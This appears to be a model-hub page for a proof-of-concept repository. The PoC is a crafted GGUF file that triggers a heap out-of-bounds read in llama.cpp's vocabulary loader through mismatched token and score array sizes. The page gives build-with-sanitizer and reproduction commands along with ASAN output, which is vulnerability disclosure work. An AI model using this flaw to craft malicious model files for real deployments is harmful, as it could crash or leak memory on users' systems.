Downloads · 30 days
6
10% of all-time downloads
Rammadaeus/poc-gguf-vocab-oob-read
poc-gguf-vocab-oob-read is a machine learning model from Rammadaeus. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Format: GGUF Target: llama.cpp (ggml-org/llama.cpp) CWE: CWE-125 (Out-of-bounds Read)
Downloads · 30 days
6
10% of all-time downloads
All-time downloads
58
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py2.5 KB · 38%
From the Hugging Face model README
Format: GGUF Target: llama.cpp (ggml-org/llama.cpp) CWE: CWE-125 (Out-of-bounds Read)
Heap-buffer-overflow read in llama_vocab::impl::load() when loading GGUF with mismatched scores/token array sizes. 100 tokens but 1 score entry → 396-byte heap overread.
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
cmake --build . --target llama-tokenize -j$(nproc)
./bin/llama-tokenize -m ../poc_vocab_scores_oob.gguf -p "hello"
ASAN reports: heap-buffer-overflow READ at llama-vocab.cpp:2145
Tested: llama.cpp commit 2b089c7 (tag b8083)